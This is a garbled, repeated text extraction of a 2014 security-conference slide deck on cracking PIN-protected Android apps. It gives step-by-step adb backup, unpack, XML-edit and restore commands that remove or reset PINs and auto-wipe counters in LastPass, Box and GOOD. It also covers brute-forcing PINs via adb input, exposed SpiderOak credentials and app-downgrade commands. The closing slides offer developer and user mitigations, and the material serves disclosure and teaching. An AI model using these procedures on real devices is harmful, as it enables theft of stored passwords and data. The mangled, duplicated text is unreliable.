1gt adb uninstall -k ltcurrentappversiongt2gt adb install ltvulnerble_versionapkgt

Chris John Riley | 22102014 | 218

exploit

Chris John Riley | 22102014 | 219

derpppp

derp

DerpderpDERPDE

RPderp

derp

Derpderp DE

RP

derp DerpderP

Chris John Riley | 22102014 | 221

5

][ RE

VIEW

Chris John Riley | 22102014 | 222

ldquosecurerdquocontainers

=SECURE containers

Chris John Riley | 22102014 | 223

Physıcal access

Chris John Riley | 22102014 | 225

Devıcesecurity

Chris John Riley | 22102014 | 226

Datasecurity

Chris John Riley | 22102014 | 228

51

)( ITFIX

Chris John Riley | 22102014 | 230

specificissues

Chris John Riley | 22102014 | 231

lastpass

Chris John Riley | 22102014 | 232

spideroak

Chris John Riley | 22102014 | 233

boxcom

Chris John Riley | 22102014 | 234

GOODfor enterprise

Chris John Riley | 22102014 | 236

Developers

Can youread this

Chris John Riley | 22102014 | 238

androidallowBackup

httpdeveloperandroidcomguidetopicsdatabackuphtml

Chris John Riley | 22102014 | 239

Some devs

GET it

Chris John Riley | 22102014 | 240

Chris John Riley | 22102014 | 241

pref fıles

Chris John Riley | 22102014 | 242

Securing Apps

bull Preference files are NOT secretbull Encrypt preference databull ONLY store encrypted passwords

bull No XOR base64 pleasebull Better still donrsquot store passwords here

bull Donrsquot TRUST the configbull HMAC | Sign | Encrypt

Chris John Riley | 22102014 | 243

androıd backup

Chris John Riley | 22102014 | 244

Securing Apps

bull Disallow Android Backupbull if you donrsquot absolutely need it

ltapplication androidallowBackup=ldquofalserdquogt

Chris John Riley | 22102014 | 245

extra securıty

Chris John Riley | 22102014 | 246

Extra Security

bull USB Debuggingbull Detect + Disable app when activated

bull Root makes these hacks easier stillbull readedit preference files on device itselfbull ROOT detection is too basic

bull easy to fool

usersen

d

Chris John Riley | 22102014 | 248

Users

bull Encrypt your devicebull Encrypts ADB backups

bull Need to enter same passcode on backup screen

bull Disable USB Debuggingbull protects against adb pull push attacks

bull Donrsquot lose your phone )

Chris John Riley | 22102014 | 249

Users

bull Upgrade to the latest Android releasebull If possible

bull Additional ADB protectionsbull Introduced in Android 43

QuestionsOMFG

A Talking Horse

Bite me space boy

Thanks for cominghttpblogc22cc

ChrisJohnRiley contactc22cc

  • MOBILE FAIL Cracking open bdquosecureldquo Android Containers
  • Slide 2
  • Slide 3
  • Slide 4
  • Slide 5
  • Slide 6
  • Slide 7
  • Slide 8
  • Slide 9
  • Slide 10
  • Slide 11
  • Slide 12
  • Slide 13
  • Slide 14
  • ldquoSecurerdquo Containers
  • Slide 16
  • Slide 17
  • Slide 18
  • Slide 19
  • Slide 20
  • Slide 21
  • Slide 22
  • Slide 23
  • Slide 24
  • Slide 25
  • Slide 26
  • Slide 27
  • Slide 28
  • Slide 29
  • Slide 30
  • Slide 31
  • Slide 32
  • Android PIN Brute-Force
  • Slide 34
  • Slide 35
  • Slide 36
  • Slide 37
  • Slide 38
  • Scenario
  • Slide 40
  • Slide 41
  • Slide 42
  • Slide 43
  • Slide 44
  • Slide 45
  • Slide 46
  • Slide 47
  • Slide 48
  • Slide 49
  • Slide 50
  • Slide 51
  • Slide 52
  • Slide 53
  • Slide 54
  • Slide 55
  • Slide 56
  • Slide 57
  • Slide 58
  • ADB ndash Android Debug Bridge
  • Slide 60
  • Slide 61
  • ADB ndash Android Debug Bridge (2)
  • ADB ndash Android Debug Bridge (3)
  • ADB ndash Android Debug Bridge (4)
  • ADB ndash Android Debug Bridge (5)
  • ADB ndash Android Debug Bridge (6)
  • Supporting Tools
  • Slide 68
  • Slide 69
  • Slide 70
  • Slide 71
  • Slide 72
  • lastpass
  • lastpass (2)
  • Slide 75
  • Slide 76
  • Slide 77
  • Slide 78
  • Slide 79
  • Slide 80
  • Slide 81
  • AndroidManifestxml
  • AndroidManifestxml (2)
  • Slide 84
  • Slide 85
  • Slide 86
  • Android Backup (ab)
  • Slide 88
  • LPandroidxml
  • Slide 90
  • Slide 91
  • Slide 92
  • Slide 93
  • Slide 94
  • Theory
  • Proposed Attack
  • Slide 97
  • Slide 98
  • Slide 99
  • Slide 100
  • Slide 101
  • Slide 102
  • Slide 103
  • Slide 104
  • Slide 105
  • Slide 106
  • Slide 107
  • Slide 108
  • Slide 109
  • Slide 110
  • Easier Attack
  • Slide 112
  • Slide 113
  • Slide 114
  • Slide 115
  • Persistence
  • Slide 117
  • Slide 118
  • Slide 119
  • Slide 120
  • Slide 121
  • Slide 122
  • Slide 123
  • Slide 124
  • Slide 125
  • Slide 126
  • Slide 127
  • Slide 128
  • Slide 129
  • Slide 130
  • Slide 131
  • Slide 132
  • Slide 133
  • Slide 134
  • Slide 135
  • Slide 136
  • Slide 137
  • Slide 138
  • Slide 139
  • Slide 140
  • Slide 141
  • Slide 142
  • Slide 143
  • Slide 144
  • GOOD
  • Adv security features
  • Slide 147
  • Slide 148
  • Slide 149
  • Slide 150
  • Slide 151
  • Slide 152
  • Slide 153
  • Slide 154
  • Slide 155
  • Slide 156
  • Slide 157
  • AndroidManifestxml (3)
  • DERP
  • Slide 160
  • Theory (2)
  • Slide 162
  • Slide 163
  • Slide 164
  • Slide 165
  • Slide 166
  • Naiumlve Attack
  • Slide 168
  • Slide 169
  • Naiumlve Attack timing
  • Naiumlve Attack timing (2)
  • Naiumlve Attack timing (3)
  • Slide 173
  • Slide 174
  • Slide 175
  • Slide 176
  • Slide 177
  • Slide 178
  • Slide 179
  • Slide 180
  • Adv Attack
  • Slide 182
  • Minimize keyspace
  • Slide 184
  • Slide 185
  • Slide 186
  • Slide 187
  • Slide 188
  • Slide 189
  • methodology
  • Slide 191
  • Slide 192
  • Slide 193
  • Slide 194
  • Slide 195
  • Slide 196
  • Slide 197
  • Slide 198
  • ab_unpackerpy
  • ab_packerpy
  • Slide 201
  • Slide 202
  • Slide 203
  • Slide 204
  • Slide 205
  • Slide 206
  • Slide 207
  • Slide 208
  • Slide 209
  • Slide 210
  • Exploiting it anyway
  • Exploiting it anyway (2)
  • Slide 213
  • Slide 214
  • Reinstall flag
  • Slide 216
  • Uninstall Reinstall
  • Slide 218
  • Slide 219
  • Slide 220
  • Slide 221
  • Slide 222
  • Slide 223
  • Slide 224
  • Slide 225
  • Slide 226
  • Slide 227
  • Slide 228
  • Slide 229
  • Slide 230
  • Slide 231
  • Slide 232
  • Slide 233
  • Slide 234
  • Slide 235
  • Slide 236
  • Slide 237
  • androidallowBackup
  • Slide 239
  • Slide 240
  • Slide 241
  • Securing Apps
  • Slide 243
  • Securing Apps (2)
  • Slide 245
  • Extra Security
  • Slide 247
  • Users
  • Users (2)
  • Slide 250
  • Slide 251
  • Slide 252
  • Slide 253
Page 47: Mobile Fail: Cracking Open "secure" Android Containers [SecTorCA]

Chris John Riley | 22102014 | 62

ADB ndash Android Debug Bridge

Allows application side-loadingbull [un]install applications over adb

bull Doesnrsquot require device to be activebull Can be PIN locked (for some functions)bull New security implemented in 43

httpdeveloperandroidcomtoolshelpadbhtml

Chris John Riley | 22102014 | 63

ADB ndash Android Debug Bridge

adb backupbull Backup Android device over adb (ICS onwards)

bull -system rarr system databull -apk rarr application apk

bull Can backup specific application data individually

adb backup comandroidapp -f backupab

httpdeveloperandroidcomtoolshelpadbhtml

Chris John Riley | 22102014 | 64

adb restorebull Restore Android backup over adb (ICS onwards)

bull Restore specific application data individuallybull with or without application (apk)

adb restore backupab

ADB ndash Android Debug Bridge

httpdeveloperandroidcomtoolshelpadbhtml

Chris John Riley | 22102014 | 65

adb pull sdcardsecrettxt secrettxt

ADB ndash Android Debug Bridge

adb pull pushbull Copy data to from device over adbbull Limited access for non-root users

bull no access to application config without rootbull Works on locked devices (PIN Protected)

httpdeveloperandroidcomtoolshelpadbhtml

Chris John Riley | 22102014 | 66

ADB ndash Android Debug Bridge

adb shellbull Shell access on device

bull Send keys tapsbull Limited for non-root usersbull Works on locked devices (PIN Protected)

adb shell

httpdeveloperandroidcomtoolshelpadbhtml

Chris John Riley | 22102014 | 67

Supporting Tools

bull opensslbull w zlib support compiled

bull starbull tar tool w added functionality we need

Chris John Riley | 22102014 | 69

3

][Closerlook

Chris John Riley | 22102014 | 70

Chris John Riley | 22102014 | 71

lastpass

Chris John Riley | 22102014 | 73

lastpass

Personal solution (w enterprise option)bull Uses online syncbull Can be secured with a PINbull Can wipe data after 5 false logonsbull Restricts screenshots

httpslastpasscomandroid

Chris John Riley | 22102014 | 74

lastpass

Can store lastpasscom passwordbull So users dont need to type it EVERY timebull Reduces securitybull Makes it usable

Chris John Riley | 22102014 | 75

Why store

the PW

Chris John Riley | 22102014 | 76

_mySecur3LsTp$$p$$w0rd1sDAb0mbampampamp

bull Easy to rememberbull Impossible to type

Chris John Riley | 22102014 | 77

Itrsquos

thoughOK

Chris John Riley | 22102014 | 78

You can enable a

PIN

Chris John Riley | 22102014 | 79

PIN Securitybull Limited to 4 digitsbull ldquoauto-Wiperdquo data

bull after 5 false logons

Chris John Riley | 22102014 | 80

PIN ==

SECURE

Chris John Riley | 22102014 | 82

AndroidManifestxml

Chris John Riley | 22102014 | 83

ltapplication androidallowBackup=ldquotruerdquogt

AndroidManifestxml

Chris John Riley | 22102014 | 84

Default true

Chris John Riley | 22102014 | 85

adb backup comlastpasslpandroid ndashf lpab

Chris John Riley | 22102014 | 86

What good is an ab file

Chris John Riley | 22102014 | 87

bull zlib compressed (kinda)bull skip header (24 bytes)bull pipe to openssl wzlib support

dd if=dropboxab bs=24 skip=1 |

openssl zlib -d gt dropboxtar

Android Backup (ab)

Chris John Riley | 22102014 | 89

LPandroidxml

bull lastpasscom usernamebull laspasscom password (encoded)bull PIN (encoded)bull Settingsbull

Chris John Riley | 22102014 | 90

Chris John Riley | 22102014 | 91

ltstring name=reprompt_triesgt

0ltstringgt

Chris John Riley | 22102014 | 92

That looks interesting

Chris John Riley | 22102014 | 93

( )THEORY

Chris John Riley | 22102014 | 94

if reprompt_tries lt 5

prompt_for_pin()else

drop_the_DBass()end

Chris John Riley | 22102014 | 95

Theory

bull reprompt_tries as iterator bull increases till it reaches 5bull Sounds reasonable

bull edit the XML and restore itbull Lets set ldquoreprompt_triesrdquo to -9999 then )

Chris John Riley | 22102014 | 96

Proposed Attack

bull Backup app databull Edit XML

bull set ldquoreprompt_triesrdquo to -9999

bull Repackagebull Restore

Chris John Riley | 22102014 | 98

0 - adb backup comlastpasslpandroid -f lpassab

1 - dd if=lpassab bs=24 skip=1 | openssl zlib -d gt lpasstar

2 - tar -tf lpasstar gt lpasslist

3 - tar -xvf lpasstar

4 - edit appscomlastpasslpandroidspLPandroidxml

5 - star -c -v -f lpass_newtar -no-dirslash list=lpasslist apps

6 - dd if=lpassab bs=24 count=1 of=lpass_newab

7 - openssl zlib -in lpass_newtar gtgt lpass_newab

8 - adb restore lpass_newab

Chris John Riley | 22102014 | 99

Not the easiest process

Chris John Riley | 22102014 | 101

counter++

Chris John Riley | 22102014 | 102

Chris John Riley | 22102014 | 103

We get

tries10000

Chris John Riley | 22102014 | 104

Chris John Riley | 22102014 | 105

We get

tries10000

Chris John Riley | 22102014 | 106

Chris John Riley | 22102014 | 108

Letrsquos make it easier

Chris John Riley | 22102014 | 109

ltstring name=passwordrepromptonactivategt0ltstringgt

ltstring name=pincodeforrepromptgthellipltstringgt ltstring name=requirepingt0ltstringgt

Chris John Riley | 22102014 | 110

PROFIT

Chris John Riley | 22102014 | 111

Easier Attack

bull Backup app databull Edit XML

bull remove PIN

bull Repackagebull Restorebull WIN

easierhellip

Chris John Riley | 22102014 | 112

Chris John Riley | 22102014 | 113

>

Chris John Riley | 22102014 | 114

for points

Chris John Riley | 22102014 | 115

Persıstencepəˈsɪst(ə)ns

noun1 the fact of continuing in an opinion or course of action in spite of difficulty or opposition

Chris John Riley | 22102014 | 116

Persistence

bull Backup LastPass from device Abull Edit backup to remove PINbull Rebuild backup

bull Restore backup to device Bbull Close amp restart to re-sync changesbull Ongoing Profit

Chris John Riley | 22102014 | 117

but I RESET my password

Chris John Riley | 22102014 | 118

PROFIT++

Chris John Riley | 22102014 | 119

Chris John Riley | 22102014 | 120

spideroak

Chris John Riley | 22102014 | 121

Personal and business solutionsbull BIG on privacybull Not bad on security

spideroak

Chris John Riley | 22102014 | 122

I said not bad

Chris John Riley | 22102014 | 123

httpsspideroakcom

Chris John Riley | 22102014 | 124

Thats good

Chris John Riley | 22102014 | 125

but users are dumb

Chris John Riley | 22102014 | 126

and spideroak

Chris John Riley | 22102014 | 127

sh ts itself in the foot

8

Chris John Riley | 22102014 | 128

adb backupbull rapp_databaselocalstoragefile__0localstorage

bull BasicCredentials Basic xxxxx

spideroak

Chris John Riley | 22102014 | 129

Chris John Riley | 22102014 | 130

Still better than moist

Chris John Riley | 22102014 | 131

Chris John Riley | 22102014 | 132

boxcom

Chris John Riley | 22102014 | 133

Boxcom

Personal solutionbull Can be secured w a PINbull Limited to 4 digits

Chris John Riley | 22102014 | 134

httpswwwboxcomabout-ussecurity

Chris John Riley | 22102014 | 135

REPHRASE

POLICYYOUR

AGRESSIVE MUCH

Chris John Riley | 22102014 | 136

Chris John Riley | 22102014 | 137

Just get to the good bıt

alreadyhellip

Chris John Riley | 22102014 | 138

Boxcom

adb backupbull myPreferencexml

Chris John Riley | 22102014 | 139

ltstring name=pinCodegt

xxxxxltstringgt

hashed pin

myPreferencexml

Chris John Riley | 22102014 | 140

subtle [ˈsʌtəl]adj

a not immediately obvious or comprehensible

b cunning or wily

Chris John Riley | 22102014 | 141

Boxcom

bull adb backupbull remove PINbull adb restore

bull Profit

Chris John Riley | 22102014 | 142

>

Chris John Riley | 22102014 | 143

Chris John Riley | 22102014 | 144

GOODfor enterprise

Chris John Riley | 22102014 | 145

GOOD

Enterprise email solutionbull email | contacts | intranet browser | hellipbull Secured with a PIN or password

bull enterprise policy

bull Wipes data device after 10 false logons

httpswwwgoodcom

Chris John Riley | 22102014 | 146

Adv security features

bull Double encryptionbull SSL Tunnel + Encrypted contents

bull Full MDM solutionbull Password Policiesbull hellip

bull r00t detectionbull emulator detectionbull advanced detection

httpswwwgoodcom

Chris John Riley | 22102014 | 147

Lost device (BYOD)bull Can an attacker prevent secure wipebull Can an attacker access cached data

Chris John Riley | 22102014 | 148

PROBLEM

1

Chris John Riley | 22102014 | 149

unlike LastPass

Chris John Riley | 22102014 | 150

preferences are

encrypted

Chris John Riley | 22102014 | 151

PROBLEM

2

Chris John Riley | 22102014 | 152

hellipafter 10 false logonsauto-wipe

Chris John Riley | 22102014 | 154

Disable PIN

Chris John Riley | 22102014 | 155

auto-wipe counter

Chris John Riley | 22102014 | 156

brute-force

Chris John Riley | 22102014 | 157

buthellip

Chris John Riley | 22102014 | 158

ltapplication androidallowBackup=ldquotruerdquogt

AndroidManifestxml

DE

RP

Chris John Riley | 22102014 | 160

THEORY

1

Chris John Riley | 22102014 | 161

Theory

bull Auto-wipe counterbull Stored IN app data somewhere

Chris John Riley | 22102014 | 162

THEORY

2

Chris John Riley | 22102014 | 163

adb restore

Chris John Riley | 22102014 | 164

over writeauto-wipe

counter

Chris John Riley | 22102014 | 165

facepalm

Chris John Riley | 22102014 | 166

brute-force

Chris John Riley | 22102014 | 167

Naiumlve Attack

bull Backup app databull until goodunlock

bull Try 9 PINSbull Restore app data

Chris John Riley | 22102014 | 168

PROBLEM

3

Chris John Riley | 22102014 | 169

Chris John Riley | 22102014 | 170

Naiumlve Attack timing

1875 ppm ~ 50 keyspace

bull 4 digit PINbull est 45 hours

bull 6 digit PINbull est 185 days

bull 8 digit PINbull est 5 years

Chris John Riley | 22102014 | 171

Naiumlve Attack timing

bull 4 lower alphanumbull est 31 days

bull 6 lower alphanumbull est 3 years

bull 8 lower alphanumbull est 110 years

1875 ppm ~ 50 keyspace

Chris John Riley | 22102014 | 172

Naiumlve Attack timing

bull 4 mixed alphanumbull est 1 year

bull 6 mixed alphanumbull est 465 years

bull 8 mixed alphanumbull est 2880 years

1875 ppm ~ 50 keyspace

Chris John Riley | 22102014 | 174

Device

CONTAINER

Chris John Riley | 22102014 | 175

Device

CONTAINER

Chris John Riley | 22102014 | 176

Device

CONTAINER

facepalm

facepalm

Chris John Riley | 22102014 | 181

Adv Attack

bull Automate PIN + restorebull adb shell input textbull adb shell input keyeventbull adb shell input tap

Chris John Riley | 22102014 | 183

Minimize keyspace

bull Password Rulesbull No sequenced numbers (eg 12xx x23x xx32)bull No duplicate numbers (eg 1111)

bull Resultbull HIGHER security

bull Less stupiditybull REDUCED keyspace

Chris John Riley | 22102014 | 185

herersquos one I

Made earlier

Chris John Riley | 22102014 | 186

>

Chris John Riley | 22102014 | 187

PROFIT

Chris John Riley | 22102014 | 189

4

][Makıngit easy

Chris John Riley | 22102014 | 190

methodology

bull Common methodologybull Backup (adb)bull Extractbull Examine bull Editbull Repackbull Restore (adb)

larr here be dragonslarr bypass all the things

Chris John Riley | 22102014 | 191

remember this process

Chris John Riley | 22102014 | 192

0 - adb backup comlastpasslpandroid -f lpassab

1 - dd if=lpassab bs=24 skip=1 | openssl zlib -d gt lpasstar

2 - tar -tf lpasstar gt lpasslist

3 - tar -xvf lpasstar

4 - edit appscomlastpasslpandroidspLPandroidxml

5 - star -c -v -f lpass_newtar -no-dirslash list=lpasslist apps

6 - dd if=lpassab bs=24 count=1 of=lpass_newab

7 - openssl zlib -in lpass_newtar gtgt lpass_newab

8 - adb restore lpass_newab

Chris John Riley | 22102014 | 193

Say that 10 times fast

Chris John Riley | 22102014 | 195

automatıon

Chris John Riley | 22102014 | 198

Pythontothe rescue

Chris John Riley | 22102014 | 199

ab_unpackerpy

httpsgithubcomChrisJohnRileyRandom_Code

Chris John Riley | 22102014 | 200

ab_packerpy

httpsgithubcomChrisJohnRileyRandom_Code

Chris John Riley | 22102014 | 201

Makes 0wning things

Chris John Riley | 22102014 | 202

200 quicker

1000 funner

oo

oo

Chris John Riley | 22102014 | 207

Bonus

n0t a bug

Chris John Riley | 22102014 | 208

Chris John Riley | 22102014 | 209

You have an application bugbull Like one of the ones mentioned herebull Buthellip the vendor has patched it

Chris John Riley | 22102014 | 210

exploit

Chris John Riley | 22102014 | 211

Exploiting it anyway

Canrsquot exploit it straight offbull Need to make the vuln re-appear

Chris John Riley | 22102014 | 212

Exploiting it anyway

Android allows downgrading of appsbull In a round-about way anyway )bull Bug or feature

bull Google says feature

Chris John Riley | 22102014 | 213

Chris John Riley | 22102014 | 214

METHOD

1

Chris John Riley | 22102014 | 215

Reinstall flag

Reinstall app using ndashr parameterbull APK MUST have valid matching signature

adb install -r ltvulnerble_versionapkgt

Chris John Riley | 22102014 | 216

METHOD

2

Chris John Riley | 22102014 | 217

Uninstall Reinstall

bull Uninstall applicationbull Leave program data in place (-k)

bull Reinstall appbull APK MUST have valid matching signature

1gt adb uninstall -k ltcurrentappversiongt2gt adb install ltvulnerble_versionapkgt

Chris John Riley | 22102014 | 218

exploit

Chris John Riley | 22102014 | 219

derpppp

derp

DerpderpDERPDE

RPderp

derp

Derpderp DE

RP

derp DerpderP

Chris John Riley | 22102014 | 221

5

][ RE

VIEW

Chris John Riley | 22102014 | 222

ldquosecurerdquocontainers

=SECURE containers

Chris John Riley | 22102014 | 223

Physıcal access

Chris John Riley | 22102014 | 225

Devıcesecurity

Chris John Riley | 22102014 | 226

Datasecurity

Chris John Riley | 22102014 | 228

51

)( ITFIX

Chris John Riley | 22102014 | 230

specificissues

Chris John Riley | 22102014 | 231

lastpass

Chris John Riley | 22102014 | 232

spideroak

Chris John Riley | 22102014 | 233

boxcom

Chris John Riley | 22102014 | 234

GOODfor enterprise

Chris John Riley | 22102014 | 236

Developers

Can youread this

Chris John Riley | 22102014 | 238

androidallowBackup

httpdeveloperandroidcomguidetopicsdatabackuphtml

Chris John Riley | 22102014 | 239

Some devs

GET it

Chris John Riley | 22102014 | 240

Chris John Riley | 22102014 | 241

pref fıles

Chris John Riley | 22102014 | 242

Securing Apps

bull Preference files are NOT secretbull Encrypt preference databull ONLY store encrypted passwords

bull No XOR base64 pleasebull Better still donrsquot store passwords here

bull Donrsquot TRUST the configbull HMAC | Sign | Encrypt

Chris John Riley | 22102014 | 243

androıd backup

Chris John Riley | 22102014 | 244

Securing Apps

bull Disallow Android Backupbull if you donrsquot absolutely need it

ltapplication androidallowBackup=ldquofalserdquogt

Chris John Riley | 22102014 | 245

extra securıty

Chris John Riley | 22102014 | 246

Extra Security

bull USB Debuggingbull Detect + Disable app when activated

bull Root makes these hacks easier stillbull readedit preference files on device itselfbull ROOT detection is too basic

bull easy to fool

usersen

d

Chris John Riley | 22102014 | 248

Users

bull Encrypt your devicebull Encrypts ADB backups

bull Need to enter same passcode on backup screen

bull Disable USB Debuggingbull protects against adb pull push attacks

bull Donrsquot lose your phone )

Chris John Riley | 22102014 | 249

Users

bull Upgrade to the latest Android releasebull If possible

bull Additional ADB protectionsbull Introduced in Android 43

QuestionsOMFG

A Talking Horse

Bite me space boy

Thanks for cominghttpblogc22cc

ChrisJohnRiley contactc22cc

  • MOBILE FAIL Cracking open bdquosecureldquo Android Containers
  • Slide 2
  • Slide 3
  • Slide 4
  • Slide 5
  • Slide 6
  • Slide 7
  • Slide 8
  • Slide 9
  • Slide 10
  • Slide 11
  • Slide 12
  • Slide 13
  • Slide 14
  • ldquoSecurerdquo Containers
  • Slide 16
  • Slide 17
  • Slide 18
  • Slide 19
  • Slide 20
  • Slide 21
  • Slide 22
  • Slide 23
  • Slide 24
  • Slide 25
  • Slide 26
  • Slide 27
  • Slide 28
  • Slide 29
  • Slide 30
  • Slide 31
  • Slide 32
  • Android PIN Brute-Force
  • Slide 34
  • Slide 35
  • Slide 36
  • Slide 37
  • Slide 38
  • Scenario
  • Slide 40
  • Slide 41
  • Slide 42
  • Slide 43
  • Slide 44
  • Slide 45
  • Slide 46
  • Slide 47
  • Slide 48
  • Slide 49
  • Slide 50
  • Slide 51
  • Slide 52
  • Slide 53
  • Slide 54
  • Slide 55
  • Slide 56
  • Slide 57
  • Slide 58
  • ADB ndash Android Debug Bridge
  • Slide 60
  • Slide 61
  • ADB ndash Android Debug Bridge (2)
  • ADB ndash Android Debug Bridge (3)
  • ADB ndash Android Debug Bridge (4)
  • ADB ndash Android Debug Bridge (5)
  • ADB ndash Android Debug Bridge (6)
  • Supporting Tools
  • Slide 68
  • Slide 69
  • Slide 70
  • Slide 71
  • Slide 72
  • lastpass
  • lastpass (2)
  • Slide 75
  • Slide 76
  • Slide 77
  • Slide 78
  • Slide 79
  • Slide 80
  • Slide 81
  • AndroidManifestxml
  • AndroidManifestxml (2)
  • Slide 84
  • Slide 85
  • Slide 86
  • Android Backup (ab)
  • Slide 88
  • LPandroidxml
  • Slide 90
  • Slide 91
  • Slide 92
  • Slide 93
  • Slide 94
  • Theory
  • Proposed Attack
  • Slide 97
  • Slide 98
  • Slide 99
  • Slide 100
  • Slide 101
  • Slide 102
  • Slide 103
  • Slide 104
  • Slide 105
  • Slide 106
  • Slide 107
  • Slide 108
  • Slide 109
  • Slide 110
  • Easier Attack
  • Slide 112
  • Slide 113
  • Slide 114
  • Slide 115
  • Persistence
  • Slide 117
  • Slide 118
  • Slide 119
  • Slide 120
  • Slide 121
  • Slide 122
  • Slide 123
  • Slide 124
  • Slide 125
  • Slide 126
  • Slide 127
  • Slide 128
  • Slide 129
  • Slide 130
  • Slide 131
  • Slide 132
  • Slide 133
  • Slide 134
  • Slide 135
  • Slide 136
  • Slide 137
  • Slide 138
  • Slide 139
  • Slide 140
  • Slide 141
  • Slide 142
  • Slide 143
  • Slide 144
  • GOOD
  • Adv security features
  • Slide 147
  • Slide 148
  • Slide 149
  • Slide 150
  • Slide 151
  • Slide 152
  • Slide 153
  • Slide 154
  • Slide 155
  • Slide 156
  • Slide 157
  • AndroidManifestxml (3)
  • DERP
  • Slide 160
  • Theory (2)
  • Slide 162
  • Slide 163
  • Slide 164
  • Slide 165
  • Slide 166
  • Naiumlve Attack
  • Slide 168
  • Slide 169
  • Naiumlve Attack timing
  • Naiumlve Attack timing (2)
  • Naiumlve Attack timing (3)
  • Slide 173
  • Slide 174
  • Slide 175
  • Slide 176
  • Slide 177
  • Slide 178
  • Slide 179
  • Slide 180
  • Adv Attack
  • Slide 182
  • Minimize keyspace
  • Slide 184
  • Slide 185
  • Slide 186
  • Slide 187
  • Slide 188
  • Slide 189
  • methodology
  • Slide 191
  • Slide 192
  • Slide 193
  • Slide 194
  • Slide 195
  • Slide 196
  • Slide 197
  • Slide 198
  • ab_unpackerpy
  • ab_packerpy
  • Slide 201
  • Slide 202
  • Slide 203
  • Slide 204
  • Slide 205
  • Slide 206
  • Slide 207
  • Slide 208
  • Slide 209
  • Slide 210
  • Exploiting it anyway
  • Exploiting it anyway (2)
  • Slide 213
  • Slide 214
  • Reinstall flag
  • Slide 216
  • Uninstall Reinstall
  • Slide 218
  • Slide 219
  • Slide 220
  • Slide 221
  • Slide 222
  • Slide 223
  • Slide 224
  • Slide 225
  • Slide 226
  • Slide 227
  • Slide 228
  • Slide 229
  • Slide 230
  • Slide 231
  • Slide 232
  • Slide 233
  • Slide 234
  • Slide 235
  • Slide 236
  • Slide 237
  • androidallowBackup
  • Slide 239
  • Slide 240
  • Slide 241
  • Securing Apps
  • Slide 243
  • Securing Apps (2)
  • Slide 245
  • Extra Security
  • Slide 247
  • Users
  • Users (2)
  • Slide 250
  • Slide 251
  • Slide 252
  • Slide 253
Page 48: Mobile Fail: Cracking Open "secure" Android Containers [SecTorCA]

Chris John Riley | 22102014 | 63

ADB ndash Android Debug Bridge

adb backupbull Backup Android device over adb (ICS onwards)

bull -system rarr system databull -apk rarr application apk

bull Can backup specific application data individually

adb backup comandroidapp -f backupab

httpdeveloperandroidcomtoolshelpadbhtml

Chris John Riley | 22102014 | 64

adb restorebull Restore Android backup over adb (ICS onwards)

bull Restore specific application data individuallybull with or without application (apk)

adb restore backupab

ADB ndash Android Debug Bridge

httpdeveloperandroidcomtoolshelpadbhtml

Chris John Riley | 22102014 | 65

adb pull sdcardsecrettxt secrettxt

ADB ndash Android Debug Bridge

adb pull pushbull Copy data to from device over adbbull Limited access for non-root users

bull no access to application config without rootbull Works on locked devices (PIN Protected)

httpdeveloperandroidcomtoolshelpadbhtml

Chris John Riley | 22102014 | 66

ADB ndash Android Debug Bridge

adb shellbull Shell access on device

bull Send keys tapsbull Limited for non-root usersbull Works on locked devices (PIN Protected)

adb shell

httpdeveloperandroidcomtoolshelpadbhtml

Chris John Riley | 22102014 | 67

Supporting Tools

bull opensslbull w zlib support compiled

bull starbull tar tool w added functionality we need

Chris John Riley | 22102014 | 69

3

][Closerlook

Chris John Riley | 22102014 | 70

Chris John Riley | 22102014 | 71

lastpass

Chris John Riley | 22102014 | 73

lastpass

Personal solution (w enterprise option)bull Uses online syncbull Can be secured with a PINbull Can wipe data after 5 false logonsbull Restricts screenshots

httpslastpasscomandroid

Chris John Riley | 22102014 | 74

lastpass

Can store lastpasscom passwordbull So users dont need to type it EVERY timebull Reduces securitybull Makes it usable

Chris John Riley | 22102014 | 75

Why store

the PW

Chris John Riley | 22102014 | 76

_mySecur3LsTp$$p$$w0rd1sDAb0mbampampamp

bull Easy to rememberbull Impossible to type

Chris John Riley | 22102014 | 77

Itrsquos

thoughOK

Chris John Riley | 22102014 | 78

You can enable a

PIN

Chris John Riley | 22102014 | 79

PIN Securitybull Limited to 4 digitsbull ldquoauto-Wiperdquo data

bull after 5 false logons

Chris John Riley | 22102014 | 80

PIN ==

SECURE

Chris John Riley | 22102014 | 82

AndroidManifestxml

Chris John Riley | 22102014 | 83

ltapplication androidallowBackup=ldquotruerdquogt

AndroidManifestxml

Chris John Riley | 22102014 | 84

Default true

Chris John Riley | 22102014 | 85

adb backup comlastpasslpandroid ndashf lpab

Chris John Riley | 22102014 | 86

What good is an ab file

Chris John Riley | 22102014 | 87

bull zlib compressed (kinda)bull skip header (24 bytes)bull pipe to openssl wzlib support

dd if=dropboxab bs=24 skip=1 |

openssl zlib -d gt dropboxtar

Android Backup (ab)

Chris John Riley | 22102014 | 89

LPandroidxml

bull lastpasscom usernamebull laspasscom password (encoded)bull PIN (encoded)bull Settingsbull

Chris John Riley | 22102014 | 90

Chris John Riley | 22102014 | 91

ltstring name=reprompt_triesgt

0ltstringgt

Chris John Riley | 22102014 | 92

That looks interesting

Chris John Riley | 22102014 | 93

( )THEORY

Chris John Riley | 22102014 | 94

if reprompt_tries lt 5

prompt_for_pin()else

drop_the_DBass()end

Chris John Riley | 22102014 | 95

Theory

bull reprompt_tries as iterator bull increases till it reaches 5bull Sounds reasonable

bull edit the XML and restore itbull Lets set ldquoreprompt_triesrdquo to -9999 then )

Chris John Riley | 22102014 | 96

Proposed Attack

bull Backup app databull Edit XML

bull set ldquoreprompt_triesrdquo to -9999

bull Repackagebull Restore

Chris John Riley | 22102014 | 98

0 - adb backup comlastpasslpandroid -f lpassab

1 - dd if=lpassab bs=24 skip=1 | openssl zlib -d gt lpasstar

2 - tar -tf lpasstar gt lpasslist

3 - tar -xvf lpasstar

4 - edit appscomlastpasslpandroidspLPandroidxml

5 - star -c -v -f lpass_newtar -no-dirslash list=lpasslist apps

6 - dd if=lpassab bs=24 count=1 of=lpass_newab

7 - openssl zlib -in lpass_newtar gtgt lpass_newab

8 - adb restore lpass_newab

Chris John Riley | 22102014 | 99

Not the easiest process

Chris John Riley | 22102014 | 101

counter++

Chris John Riley | 22102014 | 102

Chris John Riley | 22102014 | 103

We get

tries10000

Chris John Riley | 22102014 | 104

Chris John Riley | 22102014 | 105

We get

tries10000

Chris John Riley | 22102014 | 106

Chris John Riley | 22102014 | 108

Letrsquos make it easier

Chris John Riley | 22102014 | 109

ltstring name=passwordrepromptonactivategt0ltstringgt

ltstring name=pincodeforrepromptgthellipltstringgt ltstring name=requirepingt0ltstringgt

